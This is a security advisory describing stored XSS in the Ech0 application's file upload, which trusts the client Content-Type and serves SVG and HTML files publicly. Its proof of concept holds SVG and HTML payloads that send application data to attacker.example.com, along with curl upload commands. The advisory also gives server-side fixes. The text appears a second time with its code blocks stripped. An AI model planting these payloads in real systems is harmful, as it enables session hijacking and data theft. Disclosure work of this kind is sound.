Summary
The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, image/svg+xml is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing.
Details
The upload handler at internal/service/file/file.go:85-87 validates file type using only the multipart Content-Type header:
contentType := file.Header.Get("Content-Type") // client-controlled
if !isAllowedType(contentType, config.Config().Upload.AllowedTypes) {
return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED)
}
isAllowedType at file.go:836-843 performs exact string matching — no magic byte detection, no extension validation:
func isAllowedType(contentType string, allowedTypes []string) bool {
for _, allowed := range allowedTypes {
if contentType == allowed {
return true
}
}
return false
}
The original file extension is preserved in the storage key by RandomKeyGenerator at internal/storage/keygen.go:41:
ext := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename)))
All locally stored files are served publicly without authentication at internal/router/modules.go:51:
ctx.Engine.Static("api/files", root)
This gin.Static call is registered directly on the engine, outside any authentication middleware group. Go's http.ServeFile (used internally by gin.Static) determines the response Content-Type using mime.TypeByExtension, so .html files are served as text/html and .svg files as image/svg+xml.
No X-Content-Type-Options: nosniff or Content-Security-Policy headers are set (verified in internal/router/middleware.go).
Variant 1 — SVG XSS (no spoofing needed): image/svg+xml is in the default AllowedTypes at internal/config/config.go:241. SVG files can contain <script> tags and event handlers. The VireFS schema routes .svg to images/ (internal/storage/schema.go:10). Uploaded SVGs are publicly accessible at /api/files/images/<key>.svg and JavaScript within them executes in the application's origin.
Variant 2 — Content-Type spoofing: Upload an .html file with a forged multipart Content-Type: image/jpeg. The allowlist check passes (image/jpeg is allowed). The .html extension is preserved. The VireFS schema routes unknown extensions to files/ (schema.go:14). The file is served at /api/files/files/<key>.html as text/html.
PoC
Variant 1 — SVG XSS (simplest, default config):
# 1. Create SVG with embedded JavaScript
cat > evil.svg << 'SVGEOF'
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<script>
// Steal cookies and redirect to attacker
fetch('/api/echo/page')
.then(r => r.json())
.then(d => {
new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d));
});
</script>
<circle cx="50" cy="50" r="40" fill="red"/>
</svg>
SVGEOF
# 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed)
curl -X POST http://target:1024/api/files/upload \
-H 'Authorization: Bearer <admin-jwt>' \
-F 'file=@evil.svg;type=image/svg+xml' \
-F 'category=image' \
-F 'storage_type=local'
# Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg
# 3. Access without authentication — JavaScript executes in application origin:
# GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg
Variant 2 — Content-Type bypass with HTML:
# 1. Create HTML with JavaScript
cat > evil.html << 'HTMLEOF'
<html><body>
<script>
document.write('<h1>XSS in ' + document.domain + '</h1>');
// Exfiltrate data from same-origin API
fetch('/api/echo/page').then(r=>r.json()).then(d=>{
new Image().src='https://attacker.example.com/?d='+btoa(JSON.stringify(d));
});
</script>
</body></html>
HTMLEOF
# 2. Upload with spoofed Content-Type
curl -X POST http://target:1024/api/files/upload \
-H 'Authorization: Bearer <admin-jwt>' \
-F 'file=@evil.html;type=image/jpeg' \
-F 'category=image' \
-F 'storage_type=local'
# 3. Access without authentication — renders as text/html:
# GET http://target:1024/api/files/files/<uid>_<ts>_<rand>.html
Impact
- Stored XSS in the application origin: JavaScript executes in the context of the Ech0 application domain when any user visits the file URL directly.
- Session hijacking: Attacker script can access same-origin cookies and API endpoints, enabling theft of admin session tokens.
- Persistent backdoor: The malicious file remains on the unauthenticated static server even after the compromised admin account is secured or its credentials are rotated.
- Data exfiltration: JavaScript running in the application origin can call internal API endpoints (e.g.,
/api/echo/page) and exfiltrate application data.
- Social engineering vector: An admin (or attacker with admin credentials) plants the file; any user tricked into clicking the link is compromised.
The admin-required upload limits initial access, but the persistent nature of the stored XSS and the unauthenticated static serving create a meaningful attack surface, particularly in multi-admin deployments or after admin account compromise.
Recommended Fix
1. Validate Content-Type server-side using magic bytes (internal/service/file/file.go):
import "net/http"
// Replace client-controlled Content-Type with server-detected type
func detectContentType(file multipart.File) (string, error) {
buf := make([]byte, 512)
n, err := file.Read(buf)
if err != nil && err != io.EOF {
return "", err
}
if _, err := file.Seek(0, io.SeekStart); err != nil {
return "", err
}
return http.DetectContentType(buf[:n]), nil
}
2. Remove image/svg+xml from default AllowedTypes or sanitize SVGs to strip <script> tags and event handlers before storage.
3. Add security headers in internal/router/middleware.go:
func SecurityHeaders() gin.HandlerFunc {
return func(c *gin.Context) {
c.Header("X-Content-Type-Options", "nosniff")
c.Header("Content-Security-Policy", "default-src 'self'; script-src 'self'")
c.Next()
}
}
4. Serve uploaded files with Content-Disposition: attachment or from a separate origin/subdomain to isolate them from the application's cookie scope.
Summary
The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally,
image/svg+xmlis in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing.Details
The upload handler at
internal/service/file/file.go:85-87validates file type using only the multipartContent-Typeheader:isAllowedTypeatfile.go:836-843performs exact string matching — no magic byte detection, no extension validation:The original file extension is preserved in the storage key by
RandomKeyGeneratoratinternal/storage/keygen.go:41:All locally stored files are served publicly without authentication at
internal/router/modules.go:51:This
gin.Staticcall is registered directly on the engine, outside any authentication middleware group. Go'shttp.ServeFile(used internally bygin.Static) determines the responseContent-Typeusingmime.TypeByExtension, so.htmlfiles are served astext/htmland.svgfiles asimage/svg+xml.No
X-Content-Type-Options: nosnifforContent-Security-Policyheaders are set (verified ininternal/router/middleware.go).Variant 1 — SVG XSS (no spoofing needed):
image/svg+xmlis in the defaultAllowedTypesatinternal/config/config.go:241. SVG files can contain<script>tags and event handlers. The VireFS schema routes.svgtoimages/(internal/storage/schema.go:10). Uploaded SVGs are publicly accessible at/api/files/images/<key>.svgand JavaScript within them executes in the application's origin.Variant 2 — Content-Type spoofing: Upload an
.htmlfile with a forged multipartContent-Type: image/jpeg. The allowlist check passes (image/jpeg is allowed). The.htmlextension is preserved. The VireFS schema routes unknown extensions tofiles/(schema.go:14). The file is served at/api/files/files/<key>.htmlastext/html.PoC
Variant 1 — SVG XSS (simplest, default config):
Variant 2 — Content-Type bypass with HTML:
Impact
/api/echo/page) and exfiltrate application data.The admin-required upload limits initial access, but the persistent nature of the stored XSS and the unauthenticated static serving create a meaningful attack surface, particularly in multi-admin deployments or after admin account compromise.
Recommended Fix
1. Validate Content-Type server-side using magic bytes (
internal/service/file/file.go):2. Remove
image/svg+xmlfrom default AllowedTypes or sanitize SVGs to strip<script>tags and event handlers before storage.3. Add security headers in
internal/router/middleware.go:4. Serve uploaded files with
Content-Disposition: attachmentor from a separate origin/subdomain to isolate them from the application's cookie scope.